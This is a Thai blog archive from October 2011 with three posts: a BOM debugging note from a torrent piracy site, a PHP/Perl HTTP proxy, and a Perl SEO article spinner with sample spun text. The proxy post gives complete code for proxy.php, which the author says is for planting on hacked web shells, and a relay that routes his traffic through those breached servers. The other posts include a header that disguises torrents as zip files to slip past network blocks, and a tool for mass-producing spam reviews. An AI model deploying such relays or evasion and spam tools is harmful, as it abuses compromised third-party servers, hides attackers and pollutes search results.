Monthly Archives: October 2011

ไอ้ฟ๊ากกกก ไอ้ฟ๊ากกกก ไอ้ฟ๊ากกกกก ….. UTF-8 BOM

Filed under เรื่อยเปื่อย บ่นๆ ไร้สาระมั่ง ไม่ไร้สาระมั่ง

เรื่องของเรื่อง คือ กำลังเขียน script pirate อยู่
ซึ่งพยายามจะเป็น full UTF-8 ทั้งเวป (เค้าบอกกันว่า ดีก็ เลยอยากใช้ของดี อะไรประมาณนั้น)
แต่แล้วไปเจอปัญหา กับ download.php ซึ่ง … มันทำงานไม่ได้ !?
เพราะ มัน ดัน ยัด BOM ใส่มาให้ใน 3 byte แรกของ file … ซึ่งทำให้ file เสีย !!

BOM 3 byte แรก ที่ยัดมาก็คือ --> 0xef,0xbb,0xbf

ทีนี้ ผมก็คิดว่า .. เอ๊ะ หรือเพราะเซ็ตเป็น UTF-8 … Server มันเลยอวดฉลาดใส่ BOM มาให้ ?
แต่ ท่า server ค๊าบ .. นู๋ไม่อยากได้ BOM อ่ะค๊าบบบบบบ
ท่าน server ช่วยแกล้งโง่ เอาออกให้ได้ม๊ายยยยยย


ซึ่ง การวิเคราะห์แรก .. ผม โทษ sv ก่อนเลย .. (สันนิฐานแรก แมร่งประมาณว่า กรูถูกเสมอ .. คนอื่นแม่งผิดหมด … ว๊ะ ฮ่า ฮ่า ฮ่า)
ก็ไปบ่นใน iRC ว่า cloudflare ที่ใช้ แม่ง กวนตีน … ยัด BOM มาให้เฉยเลย
ไฟล์ตูที่โหลดจาก code เทพ เสียหายโม๊ดดดด (แล้วก็ บ่น cloudflare ไปชุดใหญ่)

แล้วผม ก็ post code download.php ไป
ซึ่ง หลักการ เขียน download.php มัน ไม่มีอะไรมาก แค่ ส่ง header เป็น attachment
ประมาณ

include('function.php');
$content = 'เนื้อหาในfile';
header('Content-Disposition: attachment; filename="file.torrent"');
header('Content-Type: application/zip; ');#ตรงนี้ จริงๆ แล้ว จะใส่อะไรก็ได้ ด้วยซ้ำ .. ขอแค่ ให้ ถูกประเภทของ file ก็พอ
#แต่ ถ้าใส่ bittorrent .. มันจะ ไม่รอด พวก หอพัก จะ block header ของ bit หมด
#ทำให้ user โหลด ไม่ได้ .. ก็เลย ต้อง ปลอมเป็น zip ไป (แต่ มันก็ block ได้หลายวิธีอยุ่ดี)
echo $content;
die();

ซึ่งเวลาเปิดหน้า download.php แล้ว ก็น่าจะได้ file.torrent วึ่ง เนื้อหาข้างใน ควรจะมีแค่ ใน $content เท่านั้น
แต่ !! …. บอกแล้ว มัน ยัด BOM มาด้วย
แทนที่จะได้ “เนื้อหาในfile”
แต่มันกลับเป็น “0xef0bbbfเนื้อหาในfile” <--- 0xef0bbbf คือ 3byte แรกที่เป็น BOM ตัวทำให้ file เสีย T_____T

ทีนี้ .. ถ้า user ธรรมดาสามัญชนโหลดไป .. ก็จะ เปิดกะ utorrent ไม่ได้ .. ปัญหา ก็มาลงที่คนทำ (แค่คิด ก็เหนื่อยแล้ว)

แต่ประเด็นมันคือ .. ทำไม ชาวบ้าน ที่ ใช้ cloudflare เค้าถึงไม่มีปัญหาล่ะ
(ก็เลย ลองไป sniff header ของ เวปในตำนานมา เค้าใช้ TIS-620 .. เลย ยิ่ง หาข้อเปรียบเทียบไม่ได้)

ก็เลย เอาวะ BOM มันอาจจะมาจาก ใน function.php
ก็เลยลองใหม่ โดยไม่ include ('function.php')
ผลคือ ... ไม่มี BOM !!!

ชิบห่าน แล้ว ... BOM มาจากไหน ?
function.php เรียก SSI.php ของ board SMF ด้วย
โอ้ว . . . คิดแล้ว อยากจะกรี๊ด เป็นพาส MySQL

ผมก็เลย นั่งอ่าน google อยุ่ 2 วัน ... พร้อมทั้ง ตามหา BOM ... จนเจอ ^^"
สรุป ... ไปเจออยู่ ที่
/Themes/default/languages/Faq.thai.php
/Themes/default/languages/Faq.thai-utf8.php

ซึ่งเป็น ตัวเสริม ของ SMF เอามา mod ลงไว้ใน board นั่นเอง

ต้องขอ ขอบคุณ สคิปชาวบ้านในการหา BOM (ทำให้ไม่ต้องเขียนเอง *0*)

<?php
// http://www.simplemachines.org/community/index.php?topic=300626.msg1989826#msg1989826
 
class FileChecker
{
	/**
	 * @var string
	 */
	var $_file = '';
 
	/**
	 * @var boolean
	 */
	var $_recursive = false;
 
	/**
	 * @var string
	 */
	var $_include = false;
 
	/**
	 * @var string
	 */
	var $_exclude = false;
 
	/**
	 * @var array
	 */
	var $_errors = array();
 
	/**
	 * @param string $file - File or Directory to check
	 * @param boolean $recursive - Use recursive checking on directories
	 */
	function FileChecker($file = '')
	{
		$this->_file = $file;
	}
 
	function run()
	{
		set_time_limit(300);
		$this->_run($this->_file, $this->_recursive);
	}
 
	/**
	 * Return the count and filesize for files in a directory
	 *
	 * @param string $dir
	 * @param boolean $recursive
	 * @param string $ext
	 *
	 */
	function _run($file, $recursive)
	{
		if (substr($file,-1) == '.')
	    	$file = substr($file,0,-1);
 
	    if (is_file($file) && is_readable($file))
	        return $this->_checkFile($file);
	    elseif (!is_dir($file) || !$dir_handle = opendir($file))
	    {
	        trigger_error('Unable to open directory: ' . $file);
	        return;
	    }
 
	    while(($filename = readdir($dir_handle)) !== false)
	    {
	        if (($filename == '.') || ($filename == '..'))
	        	continue;
 
	        $extension = array_pop(explode('.', $filename));
	        $real_path = $file . DIRECTORY_SEPARATOR . $filename;
 
	        // Are we going to skip this file?
	        $skip_file = (($this->_include !== false) && !in_array($extension, $this->_include)) ? true : (($this->_exclude !== false) && in_array($extension, $this->_exclude)) ? true : false;
 
	        if(is_file($real_path) && is_readable($real_path) && !$skip_file)
	            $this->_checkFile($real_path);
 
	        elseif(is_dir($real_path) && $recursive && !(($this->_exclude !== false) && in_array($extension, $this->_exclude)))
	            $this->_run($real_path, $recursive);
	    }
	    closedir($dir_handle);
	}
 
	/**
	 * @desc This function can be overloaded to provide custom functionality
	 * @param $filepath
	 * @return Nothing, fills _error array with array(string filename, array errors)
	 */
	function _checkFile($filepath)
	{
		$handle = fopen($filepath, 'r');
		$errors = array();
 
		// Let's go to the front of the file
		fseek($handle, 0);
 
		// BOM Check
		fseek($handle, 0);
		$opening = fgets($handle, 6);
 
		// And now the end of the file
		fseek($handle, -2, SEEK_END);
		$closing = fgets($handle, 3);
 
		if (strcasecmp(substr($opening, 0, 3), pack("CCC",0xef,0xbb,0xbf)) == 0)
		{
			$errors[] = 'UTF-8 BOM found';
			if (strcasecmp(substr($opening, 3), '<?') != 0)
				$errors[] = 'File does not begin with &lt;?php';
		}
		elseif (strcasecmp($opening, '<?php') != 0)
			$errors[] = 'File does not begin with &lt;?php';
		if (strcasecmp($closing, '?>') != 0)
			$errors[] = 'File does not end with ?&gt;';
 
		if (!empty($errors))
		{
			$this->_errors[] = array(
				'file' => $filepath,
				'errors' => $errors,
			);
		}
	}
 
	/**
	 * @return false on no errors, or error array if not empty
	 */
	function errors()
	{
		if (empty($this->_errors))
			return false;
		else
			return $this->_errors;
	} 
 
	/**
	 * @param $file
	 */
	function setFile($file = '')
	{
		$this->_file = $file;
	}
 
	/**
	 * @param false | string $extension | array $extension
	 */
	function setInclude($extension)
	{
		$this->_include = ($extension !== false && !is_array($extension)) ? array($extension) : $extension;
	}
 
	/**
	 * @param false | string $extension | array $extension
	 */
	function setExclude($extension)
	{
		$this->_exclude = ($extension !== false && !is_array($extension)) ? array($extension) : $extension;
	}
 
	/**
	 * @desc This will only set recursive to true if the file is a directory
	 * @param boolean $recursive
	 */
	function setRecursive($recursive = true)
	{
		$this->_recursive = is_dir($this->_file) && $recursive;
	}
 
	/**
	 * @return string file
	 */
	function getFile()
	{
		return $this->_file;
	}
}
 
$file_test = new FileChecker(dirname(__FILE__));
$file_test->setRecursive();
$file_test->setInclude('php');
$file_test->setExclude('store');
$file_test->run();
 
$file_errors = $file_test->errors();
 
 
 
/**/
echo '
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
	<head>
		<title>SMF File Checker Utility</title>
		<style type="text/css">
			body
			{
				background-color: #E5E5E8;
				margin: 0px;
				padding: 0px;
			}
			body, td
			{
				color: #000000;
				font-size: small;
				font-family: verdana, sans-serif;
			}
			div#header
			{
				background-image: url(Themes/default/images/catbg.jpg);
				background-repeat: repeat-x;
				background-color: #88A6C0;
				padding: 22px 4% 12px 4%;
				color: white;
				font-family: Georgia, serif;
				font-size: xx-large;
				border-bottom: 1px solid black;
				height: 40px;
			}
			div#content
			{
				padding: 20px 30px;
			}
 
			div.panel
			{
				border: 1px solid gray;
				background-color: #F6F6F6;
				margin: 1ex 0 3ex 0;
				padding: 1.2ex;
			}
			div.panel h2
			{
				margin: 0;
				margin-bottom: 2ex;
				padding-bottom: 3px;
				border-bottom: 1px dashed black;
				font-size: 14pt;
				font-weight: normal;
			}
 
			dl
			{
				margin-left: 3ex;
			}
			dt
			{
				font-style: italic;
			}
			dd
			{
				margin-bottom: 1ex;
			}
 
			div .code
			{
				color: #000000;
				background-color: #dddddd;
				font-family: "courier new", "times new roman", monospace;
				font-size: small;
				line-height: 1.3em;
				/* Put a nice border around it. */
				border: 1px solid #000000;
				margin: 1px auto 1px auto;
				padding: 5px;
				width: 95%;
				/* Dont wrap its contents, and show scrollbars. */
				white-space: nowrap;
				overflow: auto;
				/* Stop after about 24 lines, and just show a scrollbar. */
				max-height: 24em;
			}
 
			/* The "Quote:" and "Code:" header parts... */
			div .codeheader
			{
				color: #000000;
				text-decoration: none;
				font-style: normal;
				font-weight: bold;
				font-size: x-small;
				line-height: 1.2em;
			}
 
			div.code span.comment
			{
				font-style: italic;
				color: #000066;
			}
		</style>
	</head>
	<body>
		<div id="header">
			<div title="Millenia">SMF File Checker Utility</div>
		</div>
		<div id="content">
			<div class="panel">
				<h2 id="contents">Below are the results of the scan</h2>';
if (empty($file_errors))
	echo '
					<p>Congratulations, no errors have been found in any of your files.</p>';
else
	foreach($file_errors as $file)
	{
		echo '
					<ul>
						<li>', $file['file'], '
							<ul>';
		foreach ($file['errors'] as $error)
			echo '
								<li>', $error, '</li>';
		echo '
							</ul>
						</li>
					</ul>';
	}
 
echo '			</div>
		</div>
</body>
</html>';
?>

HTTP PROXY SERVER with proxy.php (req by Pong & Exploiters)

Filed under เรื่อยเปื่อย บ่นๆ ไร้สาระมั่ง ไม่ไร้สาระมั่ง

#คุณสมบัติ
- ลองเอง

#วิธีใช้
- ขี้เกียจอธิบายยาวๆ เอาเป็นสั้นๆ ว่า
รัน proxy_server แล้ว เซ็ต proxy ที่หมาไฟ เลือก proxy เป็น http ใส่ localhost ใส่ port 8081 (หาก อยากใช้ port อื่น ก็ ดูใน code perl เอาโลด)

ตัว proxy.php ที่เอาไว้ วางตาม shell ที่แฮกมาได้ ( proxy.php )

<?
 
if(!empty($_SERVER['HTTP_TARGET'])){
  @set_time_limit(0);
  @error_reporting(0);
  @ob_implicit_flush(1);
  @ignore_user_abort(0);
  echo browser_req($_SERVER['HTTP_TARGET'], $_SERVER['HTTP_DATA']);
}
 
class Browser {
  function _req($TARGET, $DATA){
	list($host, $port)=explode(":", $TARGET, 2);
	if(!$port) $port ='80';
	$socket = @fsockopen($host, $port, $errno, $errstr, 30);
	if(!$socket){
	  die("[!] $errstr $errno");
	}else{
	  $req = base64_decode($DATA);
	  fwrite($socket, $req);
	  while(!feof($socket)) $resp .= fgets($socket, 1024);
	  fclose($socket);
	  return $resp;
	}
  }
}
 
function browser_req($TARGET, $DATA){
  $browser = new Browser;
  return $browser->_req($TARGET, $DATA);
}
?>

or http://www.stephack.com/proxy

ตัว perl ที่ทำหน้าที่ http proxy server ( proxy_server.pl )

#!/usr/bin/perl -w
use threads ('yield', 'stack_size' => 64*4096, 'exit' => 'threads_only', 'stringify');
use IO::Socket;
use Data::Dumper;
use MIME::Base64;
use LWP::UserAgent;
 
my $DEBUG = 0;
my $PORT = $ARGV[0] || '8081';
my $proxy = 'http://localhost/proxy.php';#change to you proxy.php ( get proxy.php at http://www.stephack.com/proxy )
 
 
my $server = new IO::Socket::INET(
  LocalPort => $PORT,
  Proto => 'tcp',
  Listen => SOMAXCONN,
  Reuse => 1
) or die "[-] no socket :$!";
 
print "[+] Server [$PORT] Start\n";
while(1){
  while(my $sock = $server->accept()){
	my $thr = threads->create('work', $sock);
	$thr->detach;
	print "[+] wait next connect\n";
	print "--------------\n\n\n";
  }
}
 
sub work {
  my $sock = $_[0];
  $sock->autoflush(1);
  print "[+] recive package\n";
  my $DATA;
  my $PATH;
  my $TARGET;
  my %request;
  while(<$sock>){
	my $line = $_;
	$line =~ s/\r|\n//g;
	if($line =~ /\s*(\w+)\s*([^\s]+)\s*HTTP\/(\d.\d)/){
	  $request{METHOD} = uc $1;
	  $request{URL} = $2;
	  $PATH = $request{URL};		
	  $PATH =~ s/^http(s)?:\/\/([^\/]+)(.*)/$3/ig;		
	  $DATA .= $request{METHOD}." ".$PATH." HTTP/1.1\r\n";
	}elsif($line =~ /:/){
	  my ($type, $val) = split(/:/,$line, 2);
	  $type =~ s/^\s+|\s+$//g;
	  $val =~ s/^\s+|\s+$//g;
	  $request{lc $type} = $val;
	  $TARGET = $val if($type =~ /host/i);
	  next if($type =~ /TE/i);
	  next if($type =~ /Connection/i);
	  next if($type =~ /Accept\-Encoding/i);
	  $DATA .= $line."\r\n";
	}elsif ($line =~ /^$/){
	  if(defined $request{'content-length'}){
		read($sock, $request{CONTENT}, $request{'content-length'}) if defined $request{'content-length'};
		$DATA .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$DATA .= "Content-Length: ".length($request{CONTENT})."\r\n";
		$DATA .= "Connection: Close\r\n\r\n";
		$DATA .= $request{CONTENT};
	  }else{
		$DATA .= "Connection: Close\r\n\r\n";
	  }
	  last;
	}
  }
  my $browser = LWP::UserAgent->new(
	agent => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
	timeout=>0
  );
  $DATA = base64_encode($DATA);
  print "[+] TARGET : $TARGET\n";
  print "[+] DATA\n$DATA\n-----\n\n" if($DEBUG);
  $browser->default_header('DATA'=>$DATA);
  $browser->default_header('TARGET'=>$TARGET);
  my $resp = $browser->get($proxy);
  my $content = $resp->content;
  print "[+] CONTENT\n$content\n-----\n\n" if($DEBUG);
  print $sock $content;
  print "[+] close sock $TARGET : $PATH\n";
  close($sock);
  return 1;
}
 
 
sub base64_encode {
  my $code = $_[0];
  $code = encode_base64($code);
  $code =~ s/\s+//ig;
  return $code;
}

or http://www.stephack.com/proxy_server

จากนั้น เช็ค ip ดู

http://www.stephack.com/whatismyip.php

Perl Word Spin (for SEO) [req by PongZ]

Filed under เรื่อยเปื่อย บ่นๆ ไร้สาระมั่ง ไม่ไร้สาระมั่ง

<PongZ> ตาเล็ก help me pls
<PongZ> function spin($s){
<PongZ> preg_match(‘#\{(.+?)\}#is’,$s,$m);
<PongZ> if(empty($m)) return $s;
<PongZ> $t = $m[1];
<PongZ> if(strpos($t,’{‘)!==false){
<PongZ> $t = substr($t, strrpos($t,’{‘) + 1);
<PongZ> }
<PongZ> $parts = explode(“|”, $t);
<PongZ> $s = preg_replace(“+\{“.preg_quote($t).”\}+is”, $parts[array_rand($parts)], $s, 1);
<PongZ> return spin($s);
<PongZ> }
<PongZ> convert เปน perl ให้ที
<PongZ> อิอิ

จัดไป .. แต่เขียนต่าง จาก php ด้านบนคนละเรื่องเลยนะ

#!/usr/bin/perl -w
 
my $word = q#{A|The} Roomba Vacuum {Review|Overview}
 
Have you {encountered|ever heard|known|experienced|used} {a|the|any} Roomba Vacuum {before|earlier}?  If {you're|you are} {not|not really} {familiar|used|known}  its, {it's|it is} {a|the|the best} {robotic|automatic|robot} vacuum that's {made|created|designed|developed} {by|from} the iRobot {company|brands}.  {We all|Most of us} {know|understand|recognize} that {vacuuming|vacuum-cleaning} is {not really|never|not} {fun|exciting|interesting|pleasure|enjoyable}.  {So|So that} is this the {answer|solution} to {our|your} {problems|issues|troubles}?  {Judging|Knowing} {from the|by the} {different|various|several} Roomba Vacuum {reviews|testimonials|review articles}, {it is|it can be|it's} {the|your} answer if {you're|you are} {looking|seeking} to {automate|automatic systems} a laborious {task|job}.
 
This {short|brief|quick} Roomba Vacuum {review|reviews} {will|may|are going to|can} help convince you that {in|inside|with} this modern time and age, {a|the} {robotic|automatic|robot} {vacuum|vacuum machine|cleaner|vacuum cleaner|machine} is {needed|necessary}.  
 
{Here|next|right|There} are {just|only|basically} some of the {features|functions} of {this|this particular} futuristic {appliance|device|product}:
 
•	{Vacuuming|Hoovering} {without|without the need of|with out|with no|not having} lifting  {a|the|any|your} finger.
 
{Well|Perfectly}, {that's|that is} a {little|very little} bit {of|from} an exaggeration {since|because} {you|that you}|that is {still|always} {need|want|require} to lift your finger.  But that's {just|only} to {press|push|touch|click} {on|at} the button on the {machine|Roomba Vacuum|devices|robot}.  {After|Right after|Once|When|Shortly after} doing {it|this|that}, {the|a} Roomba Vacuum {will|are going to|can} do {all|all the|everything|all of the} hard work for {you|anyone}.  {You|We} {don't|do not} even {need|have} to get off your {couch|sofa|computer|seat} to clean underneath {it|that} {because|simply because|since} {the|your|a} {vacuum|vacuum machine|vacuum cleaner|machine|Roomba Vacuum} is compact and {smart|clever|intelligent|wise} enough to clean that {area|room|spot|space|location}.
 
•	Artificial {intelligence|mind|ability|cleverness}
 
{It|This} {may|might|may possibly} {sound|seem} {like|just like} {another|one other} exaggeration {but|however,} {it's|it is|the saying} {truly|really} {packed|loaded} with {features|functions} that can only be {described|explained} as artificial {intelligence|mind}.  {The|A} {different|other} Roomba Vacuum {reviews|review articles|review|reviews articles|reviews article} {talked|discussed} {about|on|on the subject of} how {smart|good|clever} {the|a} product is {especially|specially|specifically} {with|together with|by using|using|by} {its|their} {sensors|detector}.  {It|That} can {easily|conveniently|very easily} {switch|change|change the} {settings|setting|options|commands} while {moving from|working on|vacumming on|running} carpet to floor to {protect|save} your flooring.  {It's|It is} {smart|good|clever} enough to {detect|identify|see|recognize} {stairs|steps|stairway} {so|well|so that} it {wouldn't fall|would not fall|wouldn't falls| {off|from the 2nd floors}.  {It's|It is|It's also|It is also} {smart|good} enough to avoid tangles.  {It's|It is} even {smart|intelligent} enough {to|you can easily programmed its to|in order to} {clean|working|waking and start the task} on schedule.  {You|We} also {don't|do not} have to worry {about|with|about roomba vacuum} it getting lost underneath your {couch|rest} {because|after} it {will goes|goes|immidiatly goes|will go|go|will back} home to its dock after {it's|it is} {done|finish|finishing} its {work|commands|task} or if {battery|energy} {is running low.|running low|ran out|low|go to zero}
 
{After|Following|Right after|Once} {reading|seeing} this Roomba Vacuum {review|examine}, you're {probably|most likely} now convinced that {it's|it is} a {must-have|must have} {in|with} {every|your|any} {home|house|family}.  {At|On} the very {least|minimum}, it can {help|support|assistance} {you|you to} free {yourself|your self|oneself} from storing and {operating|working} {bulky|heavy|big|large} vacuums.  {Add|Include} {that|this} to the mentioned {features|contains|has|functions} {and|and then} {it's|it is} {a no-brainer|no brainer} that {you|everyone} {have to buy it.|have to buy this Roomba Vacuum|need the Roomba Vacuum}
#;
 
my $spin = spin($word);
print "$spin\n";
 
sub spin {
  my $return;
  my @line = split(/\r?\n/, $_[0]);
  foreach my $string (@line){
	while(my ($regex1, $regex2) = $string =~ m/(.*\{([^{}]+)\}.*)$/ig){
	  my @arr = split(/\|/, $regex2);
	  my $rand = $arr[int rand(@arr)];
	  $regex2 = quotemeta $regex2;
	  my @arr_tmp = split("{$regex2}", $regex1, 2);
	  $string = join("$rand", @arr_tmp);
	}
	$return .= $string."\n";
  }
  return $return;
}

ex.
pirate@BlackBuntu~/thdz/temp$ ./spin.pl
A Roomba Vacuum Review

Have you encountered any Roomba Vacuum earlier? If you are not really used its, it is a robotic vacuum that’s designed by the iRobot company. Most of us recognize that vacuuming is not really interesting. So that is this the solution to our troubles? Judging by the several Roomba Vacuum testimonials, it can be the answer if you’re looking to automatic systems a laborious task.

This short Roomba Vacuum review will help convince you that in this modern time and age, a robotic vacuum cleaner is needed.

Here are only some of the features of this futuristic product:

• Hoovering with out lifting the finger.

Well, that is a little bit of an exaggeration because that you|that is still want to lift your finger. But that’s only to touch at the button on the robot. Once doing it, the Roomba Vacuum will do all of the hard work for anyone. We don’t even need to get off your sofa to clean underneath that because your machine is compact and intelligent enough to clean that room.

• Artificial ability

It may possibly sound just like another exaggeration however, it’s truly packed with features that can only be explained as artificial mind. A different Roomba Vacuum reviews article talked about how smart a product is specifically by their sensors. That can conveniently change the setting while moving from carpet to floor to protect your flooring. It’s smart enough to recognize stairway well it {wouldn’t fall|would not fall|wouldn’t falls| from the 2nd floors. It’s also good enough to avoid tangles. It is even intelligent enough to clean on schedule. You also don’t have to worry about it getting lost underneath your rest because it will goes home to its dock after it is finish its work or if battery running low

Once reading this Roomba Vacuum review, you’re probably now convinced that it’s a must-have with every family. At the very least, it can help you to free your self from storing and working bulky vacuums. Include this to the mentioned functions and then it is no brainer that you have to buy it.

pirate@BlackBuntu~/thdz/temp$ ./spin.pl
The Roomba Vacuum Overview

Have you used any Roomba Vacuum before? If you’re not really used its, it’s the best automatic vacuum that’s designed from the iRobot brands. We all know that vacuuming is never interesting. So is this the answer to your problems? Knowing by the several Roomba Vacuum reviews, it can be the answer if you are looking to automate a laborious task.

This brief Roomba Vacuum reviews can help convince you that in this modern time and age, a robot vacuum is necessary.

Here are just some of the features of this futuristic device:

• Vacuuming with out lifting your finger.

Perfectly, that is a little bit from an exaggeration because that you|that is still need to lift your finger. But that’s only to push at the button on the robot. Shortly after doing it, a Roomba Vacuum will do everything hard work for you. You don’t even have to get off your seat to clean underneath that simply because a machine is compact and clever enough to clean that room.

• Artificial cleverness

This might seem just like one other exaggeration but it is truly loaded with features that can only be explained as artificial mind. The other Roomba Vacuum reviews articles talked on how smart a product is especially by using their detector. That can conveniently switch settings while running carpet to floor to save your flooring. It is smart enough to identify steps so that it {wouldn’t fall|would not fall|wouldn’t falls| off. It’s good enough to avoid tangles. It’s even smart enough you can easily programmed its to clean on schedule. You also do not have to worry with it getting lost underneath your couch because it will back home to its dock after it is done its commands or if battery is running low.

Once reading this Roomba Vacuum review, you’re most likely now convinced that it is a must have with any home. At the very least, it can support you free your self from storing and operating large vacuums. Include this to the mentioned contains and then it is a no-brainer that you need the Roomba Vacuum

pirate@BlackBuntu~/thdz/temp$